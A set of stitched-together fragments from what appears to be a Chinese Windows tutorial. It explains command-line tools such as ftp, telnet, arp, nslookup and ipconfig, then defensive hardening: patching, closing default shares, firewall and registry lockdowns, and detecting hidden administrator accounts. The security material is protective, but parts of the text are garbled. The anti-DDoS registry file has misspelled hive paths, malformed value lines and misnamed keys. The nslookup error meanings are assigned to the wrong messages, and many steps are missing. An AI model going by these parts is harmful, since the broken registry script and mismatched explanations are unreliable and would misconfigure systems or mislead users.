    {"text": "-s：按协议显示统计信息。 默认情况下，显示TCP、UDP、ICMP和IP协议的统计信息。 如果安装了Windows XP的IPv6协议，就会显示有关IPv6上的TCP、IPv6上的UDP、ICMPv6和IPv6协议的统计信息。"},
    {"text": "例10 使用ftp命令上传文件 ftp命令用于将文件传输到运行文件传输协议（FTP）服务器服务（如Internet信息服务）的计算机上，或者从这台计算机下载文件。 1．登录FTP服务器 要与指定的FTP服务器进行文件的上传或下载，需要先登录到对应的服务器中，登录FTP服务器的方法如下。 01 单击桌面左下角的“开始”按钮 ，在弹出的开始菜单的搜索框中执行“cmd”命令，打开“命令提示符”窗口，然后执行“ftp”命令。 02 输入FTP服务器的地址，本例服务器地址为“zhuangwen.gnway.net”，这里应输入“open zhuangwen.gnway.net”，然后按下“Enter”键。"},
    {"text": "04 FTP服务器登录成功后，在命令提示符中执行“dir”命令，可查看目标服务器上的文件和文件夹。 2．上传文件 如果想要向目标FTP服务器上传文件，则可按照下面的方法来进行操作。 01 登录目标FTP服务器，指定要上传文件的路径，例如，要上传的文件在F盘根目录下，则执行“lcd F:\\”命令。 02 系统会定位到指定的目录，接着指定要上传的文件，本例为“QQ.txt”文本文件，则执行“put QQ.txt”命令，开始上传。"},
    {"text": "例11 使用ftp命令下载文件 想要从目标FTP服务器上下载文件，则可按照下面的操作来实现。 01 登录目标FTP服务器，指定文件下载后的保存位置，例如，要将文件下载到F盘的根目录下，则执行“lcd F:\\”命令，系统会自动定位到指定目录下。"},
    {"text": "02 指定要下载的文件，本例下载“庄文的Q Q：191351988.txt”文本文件，则执行“get庄文的QQ：191351988.txt”命令，然后系统会自动完成下载指定文件。"},
    {"text": "01 打开“命令提示符”窗口，在其中指定要登录的远程计算机，本例要登录的远程计算机的IP地址为：192.168.1.254，则执行“telnet 192.168.1.254”命令。"},
    {"text": "02 系统提示执行此操作会将密码信息发送到Internet区域内的一台计算机上，并询问是否发送，这里输入“n”，然后按下“Enter”键。 03 在“login”后方输入目标主机的账户名，按下“Enter”键，再在“password”后输入账户密码，然后再次按下“Enter”键。"},
    {"text": "04 系统会进入到目标主机的C盘中，至此即可对目标主机进行操作了，例如，要删除D盘下的“she”文件夹，则可先输入“d：”命令，按下“Enter”键，进入D盘，然后再执行“rd she”命令即可。 05 待所有操作完成后，执行“exit”命令可返回到当前用户，如果要退出，直接单击窗口右上角的“关闭”按钮即可。"},
    {"text": "例13 安装并启用telnet服务 默认情况下，Windows 7操作系统中未安装远程telnet服务，在实际操作时，需要先安装telnet服务并启动该服务，下面介绍具体的操作方法。"},
    {"text": "01 在系统桌面上双击“计算机”图标，打开“计算机”窗口，在工具栏中单击“卸载或更新程序”按钮。 02 在打开的“程序和功能”窗口中，单击“打开或关闭Windows功能”链接。"},
    {"text": "03 在弹出的对话框中勾选“Telnet服务器”和“Telnet客户端”复选框，然后单击“确定”按钮进行安装。 04 安装完成后，按“Win＋R”组合键，在弹出的“运行”对话框中执行“services.msc”命令。 05 在打开的“服务”窗口中双击“telnet”服务项，在弹出的对话框中启动“telnet”服务即可。"},
    {"text": "at命令常用的语法为：at［\\\\computername］［［id］［/delete］｜/delete［/yes］］和at［\\\\computer name］time［/interactive］［/every:date［，…］｜/next:date［，…］］command。"},
    {"text": "/every:date［，…］：在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行命令。 将date指定为星期的一天或多天（M，T，W，Th，F，S，Su），或月的一天或多天（使用1到31的数字）。"},
    {"text": "/next:date［，…］：在重复出现下一天（如下个星期四）时，运行指定命令将date指定为星期的一天或多天（M，T，W，Th，F，S，Su），或者月的一天或多天（使用1到31的数字）。"},
    {"text": "arp命令的语法为：arp［-a［InetAddr］［-N IfaceAddr］］［-g［InetAddr］［-N IfaceAddr］］［-d InetAddr［IfaceAddr］］［-s InetAddr EtherAddr［IfaceAddr］］。"},
    {"text": "-a［InetAddr］［-N IfaceAddr］：显示所有接口的当前ARP缓存表。 要显示指定IP地址的ARP缓存项，使用带有InetAddr参数的arp-a，InetAddr代表指定的IP地址。 要显示指定接口的ARP缓存表，请使用-N IfaceAddr参数，IfaceAddr代表分配给指定接口的IP地址，-N参数区分大小写。"},
    {"text": "-d InetAddr［IfaceAddr］：删除指定的IP地址项，InetAddr代表IP地址。 对于指定的接口，要删除表中的某项，请使用IfaceAddr参数，IfaceAddr代表分配给该接口的IP地址。 要删除所有项，请使用星号（*）通配符代替InetAddr。"},
    {"text": "-s InetAddr EtherAddr［IfaceAddr］：向ARP缓存添加可将IP地址InetAddr解析成物理地址EtherAddr的静态项。 要向指定接口的表添加静态ARP缓存项，请使用IfaceAddr参数，IfaceAddr代表分配给该接口的IP地址。"},
    {"text": "例16 使用systeminfo命令显示系统信息 systeminfo命令用于显示计算机上的系统信息，如：操作系统及其配置、安全信息、产品ID，硬件属性、RAM、磁盘空间和网卡。 使用不带任何参数的systeminfo命令，可以显示当前计算机中的系统信息。"},
    {"text": "例17 使用nslookup命令诊断域名系统 nslookup命令用于显示可用来诊断域名系统（DNS）基础结构的信息，该命令只有在已安装TCP/IP协议的情况下才可以使用。"},
    {"text": "nslookup的常用语法为：nslookup［-SubCommand …］［｛ComputerToFind｜［-Server］｝］ -SubCommand…：将一个或多个nslookup子命令指定为命令行选项。"},
    {"text": "Connection refused or Network is unreachable：DNS名称服务器发现在其数据库中内部不一致而无法返回有效应答。 Network is unreachable：DNS名称服务器拒绝为请求服务。 Server failure：DNS名称服务器发现请求数据包的格式不正确，可能表明nslookup中存在错误。"},
    {"text": "例18 使用ipconfig命令查看网络配置信息 ipconfg命令用于查看所有当前的TCP/IP网络配置值、刷新动态主机配置协议（DHCP）和域名系统（DNS）设置。"},
    {"text": "/renew［adapter］：更新所有适配器（如果未指定适配器）或特定适配器（由adapter参数指定，使用不带参数的ipconfg命令可查看适配器名称）的DHCP配置。"},
    {"text": "/release［adapter］：发送DHCPRELEASE消息到DHCP服务器，以释放所有适配器（如果未指定适配器）或特定适配器（由adapter参数指定，使用不带参数的ipconfg命令可查看适配器名称）的当前DHCP配置并丢弃IP地址配置。"},
    {"text": "第3章 Windows系统安全防范 第3章 Windows系统安全防范 3.1 修补系统漏洞 系统漏洞是威胁系统安全的主要因素之一，尽管操作系统的安全性在不断完善，但是仍不可避免地存在安全漏洞，其制造商也会不定期发布系统补丁。"},
    {"text": "通过系统自带的“Windows Update”功能，可以快速下载并安装系统补丁，具体操作如下。 01 在桌面左下角单击“开始”按钮 ，在弹出的“开始”菜单中依次单击“所有程序”→“Windows Update”命令。 02 在打开的“Windows Update”窗口中，单击左侧任务列表中的“检查更新”按钮。"},
    {"text": "例2 让操作系统定时自动更新 除了手动更新系统外，用户还可以通过更改系统设置，让“Windows Update”功能在指定的时间段自动下载并安装系统补丁，具体操作如下。 01 在桌面左下角单击“开始”按钮 ，在“开始”菜单中依次单击“所有程序”→“Windows Update”命令。 02 打开“Windows Update”窗口，单击左侧任务列表中的“更改设置”链接。 03 打开“更改设置”窗口，在“重要更新”栏中开启自动更新功能并设置自动更新的时间和频率。"},
    {"text": "这类软件的操作类似，这里以QQ电脑管家为例进行介绍。 01 下载并安装最新版本的QQ电脑管家。 02 启动QQ电脑管家，在主页面中单击“修复漏洞”按钮。 03 切换到“修复漏洞”界面，程序将扫描出系统存在的漏洞，在列表中勾选要修复的漏洞，然后单击“立即修复”按钮。 04 程序开始下载补丁程序，下载完成后会自动在后台进行安装，安装完成后会提示修复完成。 有些补丁程序需要重启电脑，此时，保存当前正在进行的工作，然后重启电脑使更新生效即可。 例4 卸载已安装的系统补丁 如果安装某个补丁后系统出现异常，或导致其他软件无法正常使用，可以将该补丁卸载。 卸载系统补丁的方法如下。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在“开始”菜单中依次单击“所有程序”→“Windows Update”命令。 02 打开“Windows Update”窗口，单击左侧任务列表中的“查看更新历史记录”链接。 03 在打开的“查看更新历史记录”窗口中，单击“已安装更新”链接。 04 在打开的“已安装更新”窗口中可以看到已经安装的系统补丁，选中要卸载的补丁程序，然后单击“卸载”按钮。 05 在弹出的确认对话框中单击“是”按钮，待卸载完成后关闭“Windows Update”窗口即可。"},
    {"text": "例5 获取升级服务包（Service Pack） Windows升级服务包（Service Packs）是微软公司针对某一操作系统发布的重大更新包，包含一段时间内该系统的所有修补和增强，例如最新的驱动程序、系统补丁集合以及产品功能更新等。 通常操作系统均采用补丁形式进行更新，只有当现重大更新时，才会发布升级服务包。 Windows操作系统用户可以通过操作系统的“Windows Update”功能自动下载并安装升级服务包，也可以登录微软的官方网站下载升级服务包的安装文件，进行手动安装。 下面以获取Windows 7操作系统的升级服务包“Service Pack 1”为例进行介绍。 通过“Windows Update”功能获取Windows 7 SP1：将Windows 7操作系统的自动更新功能设置为开启状态，Windows 7会自动通知用户进行SP1的安装。"},
    {"text": "登录Microsoft官方网站手动获取Windows 7 SP1：如果系统并未自动安装Windows 7 SP1，可以登录微软官方网站，在“Microsoft下载中心（http://www.microsoft.com/downloads）”页面搜索到Windows 7 SP1，然后将其下载并安装即可。"},
    {"text": "小提示 如果当前已经发行了集成有最新升级服务包的Windows系统版本，则优先选择此类版本的操作系统进行安装，安装后就可不用再单独安装升级服务包了。 需要注意的是：Windows 7升级服务包和系统版本一样，也要区分32位与64位两种版本，对应安装于相应的操作系统中。 如果不确定自己所使用的是32位还是64位的操作系统，可以使用鼠标右键单击系统桌面上的“计算机”图标，在弹出的快捷菜单中单击“属性”命令，打开“系统”窗口进行查看，版本信息会显示在“系统”栏中。"},
    {"text": "例6 安装升级服务包（Service Pack） 下载好升级服务包后，就可以进行安装了。 下面以安装Windows 7 Service Pack 1（SP1）升级服务包为例进行介绍。 01 从网上获取Windows 7 SP1升级服务包的安装文件，完成后双击升级服务包安装文件。"},
    {"text": "02 在打开的安装界面中单击“下一步”按钮。 03 在弹出的对话框中，勾选“自动重新启动计算机”复选框，然后单击“安装”按钮。 04 程序开始进行安装，安装完成后会自动重新启动电脑，并自动完成后续的安装过程。"},
    {"text": "01 在系统桌面上右键单击“计算机”图标，在弹出的快捷菜单中单击“管理”命令，打开“计算机管理”窗口。 小提示 在“开始”菜单的搜索框中输入“compmgmt.msc”或“计算机管理”，按“Enter”键，也可打开“计算机管理”窗口。 02 在左侧窗格中依次展开“本地用户和组”→“用户”分支，在中间窗格中双击“Administrator”账户。"},
    {"text": "04 注销当前用户账户，以Administrator账户登录操作系统，即可使用该管理员权限了。 如果当前用户不是Administrator账户，在执行程序时，可以右键单击要执行的程序，然后在弹出的快捷菜单中单击“以管理员身份运行”命令，可临时获取管理员权限。"},
    {"text": "例2 禁用系统中的来宾账户 来宾账户是供来宾访问电脑或访问域的内置账户。 虽然来宾账户没有系统权限，但是它的存在威胁着电脑的安全，一些高手可以通过提升它的权限来达到入侵系统的目的。 默认情况下，系统中的来宾账户是开启的，建议用户将其禁用。"},
    {"text": "01 在系统桌面上右键单击“计算机”图标，在弹出的菜单中单击“管理”命令。 02 在打开的窗口中依次展开“系统工具”→“本地用户和组”目录，在“用户”界面双击“Guest”用户。 03 在打开的“Guest属性”对话框中勾选“账户已禁用”复选框，然后单击“确定”按钮，关闭对话框即可。 小提示 此外也可以打开“控制面板”窗口，进入“用户账户”界面，单击“管理其他账户”链接，然后在打开的界面中关闭来宾账户。"},
    {"text": "例3 通过禁用服务禁止他人远程修改注册表 默认情况下，Windows操作系统允许远程修改注册表。 为了提高操作系统的安全性，可以执行以下操作，禁止他人远程修改注册表。"},
    {"text": "例4 通过命令行关闭默认共享 Windows 2000及以后版本的操作系统中都提供了默认共享功能，这些默认共享都带有“$”标志（意为隐含共享，不会显示在网络共享中），包括所有的逻辑分区（C$，D$，E$……）、系统目录（ADMIN$）及远程管理（IPC$）。"},
    {"text": "小提示 IPC$（Internet Process Connection）是系统为了让进程间通信而开放的命名管道，黑客通过它可以获取到目标主机上的用户列表，进而可获取更高的用户权限。"},
    {"text": "当拥有足够的权限后，就可以在目标主机上运行程序、创建用户、并对主机中的资料进行复制、窜改或删除等操作，危害性很大。 默认情况下，操作系统开启了默认共享，此时他人可以通过访问默认共享侵入电脑，危害性很大。 如果电脑接入了局域网，建议关闭默认共享。 下面介绍通过“net share*/del”命令关闭默认共享的方法。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮 ，在弹出的“开始”菜单中依次单击“所有程序”→“附件”命令，在展开的“附件”列表中右键单击“命令提示符”命令，然后在弹出的快捷菜单中单击“以管理员身份运行”命令，打开“命令提示符”窗口。 02 在命令提示符下输入“net share”命令，按“Enter”键查看系统中已开启的默认共享。 03 在命令提示符下输入“net share*/del”命令（“*”代表要关闭的共享名，如C$、D$等），按“Enter”键删除指定的默认共享。 小提示 在使用“net share*/del”命令关闭共享时，共享名称前后都有一个空格。 04 在命令提示符下重复执行“net share*/del”命令即可删除所有的默认共享。 通过以上操作只是关闭了当前已开启的默认共享，但该操作并没有修改系统中的相关设置，当重启电脑后，默认共享会再次出现。 例5 通过禁用服务永久关闭默认共享 当用户电脑没有接入局域网或不进行局域网共享等操作时，可以通过关闭“Server”服务来永久关闭默认共享，具体操作如下。 01 在系统桌面左下角单击“开始”按钮 ，在“开始”菜单的搜索框中执行“services.msc”命令，打开“服务”窗口。 小提示 在控制面板中，切换到“大图标”查看方式，然后单击“管理工具”项，在打开的窗口中双击“服务”项，也可以打开“服务”窗口。 02 切换到“标准”视图模式，在服务列表中找到并双击“Server”服务项。 03 在打开的服务属性对话框中单击“启动类型”栏的下拉按钮，在弹出的菜单中单击“禁用”命令，然后单击“确定”按钮即可。"},
    {"text": "03 在“想为哪个对象创建快捷方式”对话框中输入快捷方式的名称“锁定计算机”，单击“完成”按钮即可。 上述快捷方式创建完成后，在离开电脑旁或需要锁定桌面时，对该快捷方式双击鼠标左键即可。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在弹出的“开始”菜单中单击“控制面板”命令。 02 在打开的“控制面板”窗口中，将“查看方式”设置为“大图标”方式，单击“Windows防火墙”选项。 03 在打开的“Windows防火墙”窗口中单击“打开或关闭Windows防火墙”链接。 04 在弹出的“Windows防火墙设置”窗口中，在当前的网络位置下方选择“启用”单选项，然后单击“确定”按钮即可。 小提示 对于笔记本电脑用户而言，在机场、咖啡厅等公共场所使用公共Wi-Fi接入点时，有必要将网络位置设置为“公用”，并勾选“阻止所有传入连接”复选框，通过Windows防火墙禁用所有的入站连接，以提高网络安全。 开启Windows防火墙后，防火墙会根据配置的规则，监控电脑中运行的程序，以及想要访问网络的程序。 当用户启动某个要访问网络的程序时，如果该程序未经许可，会弹出“Windows安全警报”对话框提示用户。"},
    {"text": "如果信任该程序，单击“允许访问”按钮，允许该程序连接网络，同时将其添加到Windows防火墙的允许程序列表中，下次使用时不再弹出“Windows安全警报”对话框。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在弹出的“开始”菜单中单击“控制面板”命令。 02 在打开的“控制面板”窗口中，将“查看方式”设置为“大图标”方式，单击“Windows防火墙”选项。 03 在打开的“Windows防火墙”窗口左侧的任务列表中单击“允许程序或功能通过Windows防火墙”链接。 04 在打开的“允许的程序”窗口中，可以看到列表框中的设置项不可用，单击“更改设置”按钮，让列表框中的设置项变为可用状态，然后单击“允许运行另一程序”按钮。 小提示 如果需要删除某个Windows防火墙入站规则，可以在“允许的程序或功能”列表框中选择要删除的入站规则，单击下方的“删除”按钮，在弹出的对话框中单击“是”按钮即可。"},
    {"text": "05 在弹出的“添加程序”对话框中，在“程序”列表框中选择要添加的程序。 单击“添加”按钮。 如果没有要添加的程序，可单击“浏览”按钮来选择程序。 06 返回到“允许的程序”窗口，在列表框中会显示并默认勾选了要添加的程序，在后面勾选合适的网络位置。"},
    {"text": "例9 设置代理服务器隐藏IP 我们知道，黑客可以通过IP地址找到本地计算机，进入计算机进行入侵操作，为了避免这种情况的发生，可以设置代理服务器来隐藏本机IP地址，具体操作如下。"},
    {"text": "01 打开IE浏览器，按下“Alt”键激活菜单栏，然后依次单击“工具”→“Internet选项”菜单命令。 02 在打开的对话框中切换到“连接”选项卡，然后单击“局域网设置”按钮。 03 在打开的对话框中勾选“为LAN使用代理服务器”复选框，在“地址”文本框中输入代理服务器地址，端口保存默认设置，然后单击“确定”按钮并关闭所有对话框即可。"},
    {"text": "3.3 注册表安全设置 注册表是电脑中用于存储操作系统和软件配置信息的数据库，其中一些键值项直接关系到系统的安全，通过对注册表进行安全设置，修改这些键值项，可以在一定程度上提高操作系统的安全性。"},
    {"text": "例1 揪出隐藏的超级用户 一些比较高明的黑客，可以通过修改注册表等手段（HKEY_LOCAL_MA-CHINE\\SAM子键）创建隐蔽的超级用户，并且在账户管理器上看不到该用户，当命令行用“net user”命令时也看不到。"},
    {"text": "如何发现这个隐藏的超级用户呢？ 由于黑客在创建隐藏的超级用户时修改了HKEY_LOCAL_MACHINE\\SAM子键，因此只要将事先备份好的该子键与当前同一子键相对照，就能发现隐藏账户。 将备份的子键导入注册表，即可清除隐藏账户。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。 02 在窗口左侧依次展开“HKEY_LOCAL_MACHIN-E\\SAM”分支，右键单击SAM子键，在快捷菜单中选择“权限”命令。 03 在弹出的对话框中选中自己的账户，并设置权限为“完全控制”，然后单击“确定”按钮。 小提示 如果“组或用户名”列表框中没有自己的账户，可单击“添加”按钮，在弹出的对话框中进行添加。 04 返回到“注册表编辑器”窗口，会发现“SAM”子健多出几个子键来。 依次展开“HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names”分支，这个子键下面对应的就是当前的账户列表。 小提示 用户可事先将“HKEY_LOCAL_MA-CHINE\\SAM”子键导出备份，检查时再导出一次，对照二者的不同，即可发现隐藏的超级用户了。"},
    {"text": "例2 禁止远程修改注册表 默认情况下，系统开启了注册表远程管理服务。 黑客可以通过远程访问的方式对系统注册表进行修改，从而达到控制用户电脑的目的，通过修改注册表设置，可以避免这种情况的发生，禁止他人远程修改注册表的方法如下。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。 02 在左侧窗格中依次展开“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurePipeServers\\winreg”子键，在其上单击鼠标右键，然后在弹出的快捷菜单中单击“权限”命令。"},
    {"text": "05 在接下来弹出的对话框中单击“立即查找”按钮，在下方“搜索结果”列表框中选中想要被设置权限的用户或组，然后单击“确定”按钮。 06 在返回到的对话框中即可看到所添加的用户和组，单击“确定”按钮。 07 返回到上一级对话框，选中要设置权限的用户或组，在权限对话框中设置对应的权限，然后单击“确定”按钮即可。"},
    {"text": "01 单击系统桌面左下角的“开始”按钮 ，弹出“开始”菜单。 在搜索框中输入“regedit”命令并按“Enter”键，打开“注册表编辑器”窗口。 02 在左侧窗格中依次展开“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa”子键，在右侧窗格中双击“restrictanonymous”键值项。"},
    {"text": "06 在右侧窗格中会出现“新值#1”项并处于编辑状态，输入该键值项的名称“AutoShareWks”，按“Enter”键。 07 使用相同的方法新建“AutoShareServer”键值项。 08 在右侧窗格中双击“AutoShareWks”键值项。"},
    {"text": "例4 禁止危险的启动项 在Windows操作系统中，很多地方都可以设置程序自动启动，很多危险的程序就是隐藏在这些地方随程序自动启动的。 通过对注册表的设置，可以避免危险启动项威胁电脑安全，具体操作如下。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。 02 在左侧窗格中依次展开“HKEY_LOCAL_MAC HINE\\SOF TWARE\\Microsoft\\Windows\\CurrentVersion\\Run”子键，在右侧窗格中右键单击可疑的启动项，然后在弹出的菜单中单击“删除”命令。 03 在左侧窗格中右键单击“Run”子键，在弹出的快捷菜单中单击“权限”命令。 04 在弹出的“Run的权限”对话框中，单击“添加”按钮。 小提示 如果要设置其他账户权限，可以先在“组或用户名”列表中选定账户，然后在下方的窗格中设置账户的权限。 05 在弹出的“选择用户或组”对话框中，在“输入对象名称来选择”文本框中输入“Everyone”文本，然后单击“确定”按钮，完成账户添加。 小提示 单击“高级”按钮，在弹出的“选择用户和组”对话框中单击“立即查找”按钮，然后在打开的“搜索结果”列表框中查找并添加“everyone”账户，也可以完成账户添加。 06 在返回的“run的权限”对话框中选中“Everyone”账户，在下方的“Everyone的权限”列表中，勾选“只读”权限，并取消其他所有权限，然后单击“确定”按钮，完成“Run”子键的权限设置。 07 按照上述相同的方法依次展开“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce”和“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentC ontrolset\\Services”子键，将其下可疑的自动启动项删除，然后将他们的权限设为“Everyone只读”即可。"},
    {"text": "例5 禁止他人在桌面上添加快捷方式 黑客通常会在桌面上创建木马程序的快捷方式，并且将其修改为常用程序的启动图标，一旦用户双击这些图标，就会启动木马程序。 为了预防这种伪装，可以通过修改注册表，禁止他人在桌面上添加快捷方式，具体操作如下。"},
    {"text": "04 在左侧窗格中依次展开“HKEY_LOCAL_MACHIN-E\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer”子键，然后在右侧单击鼠标右键，在弹出的菜单中依次单击“新建”→“二进制值”菜单命令。 05 将新建的二进制值命名为“link”，并根据前面的方法将该项的值修改为“00 00 00 00”，然后重新启动电脑即可。"},
    {"text": "例6 隐藏系统桌面上的各种图标 一些黑客会将病毒或木马的启动程序写入快捷方式图标，并将这些图标与其他桌面图标进行替换，以便用户在双击图标时启动病毒或木马程序。"},
    {"text": "隐藏桌面图标可以在一定程度上避免这种情况的发生，具体操作如下。 01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。 02 在窗口左侧依次展开“HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer”子键，在右侧窗格中双击“NoDesktop”键值项。 小提示 由于系统的版本不同，可会会有些用户在注册表编辑器中找不到对应的子键或键值项，此时需要用户手动进行添加。 03 在打开的对话框中将“数值数据”修改为“1”，然后退出注册表重启计算机即可。"},
    {"text": "例7 禁止普通用户查看事件记录 在日常操作电脑时，系统都会在Windows系统自带的事件查看器中保留对应的记录，这些记录可以帮助我们解决一些电脑故障，但如果黑客查看到这些记录就会更容易的入侵我们的电脑。"},
    {"text": "01 在系统桌面上右键单击“计算机”图标，在弹出的菜单中单击“管理”命令。 02 在打开的“计算机管理”窗口左侧依次展开“计算机管理”→“系统工具”→“事件查看器”目录，可查看电脑中的事件记录。"},
    {"text": "04 在弹出的对话框中将“数值数据”文本框中的值修改为“1”，即可禁止他人通过事件查看器查看应用程序记录。 05 使用相同的方法，分别在“eventlog”子键下其他项中新建“RestricGuestAccess”DWORD值，并将它们的值设置为“1”，即可禁止他人查看其他事件记录。"},
    {"text": "例8 隐藏“开始”菜单的快捷命令 隐藏“开始”菜单中的快捷命令可以在一定程度上避免他人恶意修改系统信息和启动计算机中的程序。 下面以通过修改注册表信息来隐藏“开始”菜单中的“关闭”系统命令为例进行介绍，具体操作如下。"},
    {"text": "01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。 02 在窗口左侧依次展开“HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer”子键，然后在右侧空白处单击鼠标右键，在弹出的菜单中依次单击“新建”→“DWORD（32位）值”菜单命令。 03 将新建DWORD键值项命名为“NOCLOSE”，然后对其双击鼠标左键。 04 在打开的“编辑DWORD值”对话框中将“数值数据”的值改为“1”，单击“确定”按钮，然后重启计算机即可。"},
    {"text": "隐藏“运行”命令：在注册表编辑器中展开“HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer”子键，在右侧新建名为“NORUN”的DWORD键值项，并将其“数字数据”的值改为“1”。 隐藏“搜索”命令：在注册表编辑器中展开\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\"子键，在右侧新建名为“NOFIND”的DWORD键值项，并将其“数字数据”的值改为“1”。"},
    {"text": "例9 配置注册表防止DDOS攻击 DDOS全名是Distributed Denial of service （分布式拒绝服务攻击），很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击，合理配置注册表是防止DDOS攻击的常用办法，具体配置操作如下。"},
    {"text": "Windows Registry Editor Version 5.00 ［HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentcontrolSet\\Services\\Tcpip\\Parameters］ \"EnableICMPRedirect\"=dword:00000000 \"KeepAliveTime\"dword:000927c0 \"SynAttackProtect\"=dword:00000002 \"TcpMaxHalfOpen\"=dword:000001f4 \"TcpMaxHalfOpenRetried\"=dword:00000190 \"TcpMaxConnectResponseRetansmissions\"=dword:00000001 \"TcpMaxDateRetransmissions\"=dwords:00000003 \"TcpMaxPortsExhausted\"=dword:00000005 \"DisableIPSourceRouting\"=dword:00000002 \"TcpTimedWaitDelay\"=dword:0000001e \"TcpNumConnections\"=dword:00004e20 ［HKET_LACAL_MACHINE\\SYSTEM\\CrrentControlSet\\Services\\NetBT\\Parameters］ \"BacklogIncrement\"=dword:00000005 \"MaxConnBackLog\"=dword:000007d0 ［HKEY_LOCAL_MACHING\\SYSTEM\\CurrentControlSet\\Services\\AFD\\Parameters］ \"EnableDynamicBacklog=dword:00000001 \"MinimumDynamicBacklog\"=dword00000014 \"MaximumDynamicBacklog\"dword:00007530 \"DynamicBacklogGrowthDelta\"=dword:0000000a 02 输入完成后将文本保存为.reg文件，当需要防止DDOS攻击时，双击该注册表文件，将其导入注册表即可。"},
    {"text": "例10 发生错误时不弹出警告窗口 在使用Windows操作系统的过程中，当用户执行一些应用程序时，有时会因为种种原因导致发生一些错误，这时，系统会弹出警告对话框，提示用户程序出错信息。"},
    {"text": "但是并非所有的用户都希望弹出警告对话框，此时就可以通过修改注册表设置来禁止其弹出，具体操作方法如下。 01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。 02 在窗口左侧依次展开“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Windows”子键，然后在右侧窗格中双击“ErrorMode”键值项。 03 打开“编辑DWORD”键值项对话框，将“数值数据”文本框中的值改为“1”，则表明出现程序错误时不弹出警告信息，然后关闭注册表编辑器，重启计算机即可。"},
    {"text": "用户可以通过修改注册表信息，来避免上述情况的发生，具体操作如下。 01 在桌面左下角单击“开始”按钮 ，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。"},
    {"text": "02 在窗口左侧依次展开“HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Media”子键，在右侧窗格空白处单击鼠标右键，然后在弹出的菜单中依次单击“新建”→“字符串值”菜单命令。"},
    {"text": "05 按照相同的方法在右侧新建“DisplayInlineVidos”和“Play_Background_Sounds”键值项，并将它们的值设置为“NO”，然后退出注册表编辑器，重启计算机即可。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“计算机配置”→“Windows设置”→“账户策略”→“账户锁定策略”分支，在右侧双击“账户锁定阈值”策略。 03 在打开的对话框中将文本框中的值设置为“3”，这样，其他用户在尝试登录3次后未能成功，账户就将被锁定。 启用此项设置后，会弹出“建议的数值改动”对话框，用于设置确定账户锁定后多长时间复位（即允许再次输入密码登录），可根据需要改变设置。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“用户配置”→“管理模板”→“Windows组件”→“Windows资源管理器”目录，然后在右侧找到并双击“从工具菜单中删除文件夹选项”策略项。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“本地计算机策略”→“用户配置”→“管理模版”→“控制面板”目录，在右侧的窗格中双击“禁止访问控制面板”策略项。 03 在弹出的“禁止访问控制面板”对话框中选择“已启用”单选项，单击“确定”按钮即可。"},
    {"text": "04 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 05 在窗口左侧依次展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“安全选项”目录，在右侧双击“网络访问：可远程访问的注册表路径”策略项。 06 在弹出的对话框中将可远程访问的注册表路径和子路径内容全部删除，然后单击“确定”按钮即可。"},
    {"text": "例5 利用组策略锁定注册表 通过前面的学习知道我们可以通过设置注册表来管理电脑，然而，如果黑客对注册表进行修改，也可以更轻易的入侵我们的电脑，为避免这一情况的发生，可以修改组策略设置来禁用注册表，具体操作如下。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“本地计算机策略”→“用户配置”→“管理模版”→“系统”，在右侧窗格中双击“阻止访问注册表编辑工具”策略。"},
    {"text": "例6 禁止更改桌面设置 在系统桌面上，其他用户采用鼠标拖拽、删除和快捷键等方法即可更改其设置。 通过组策略禁止更改桌面设置，可以预防他人对系统桌面的恶意更改，从而在一定程度上增强了电脑的安全性。"},
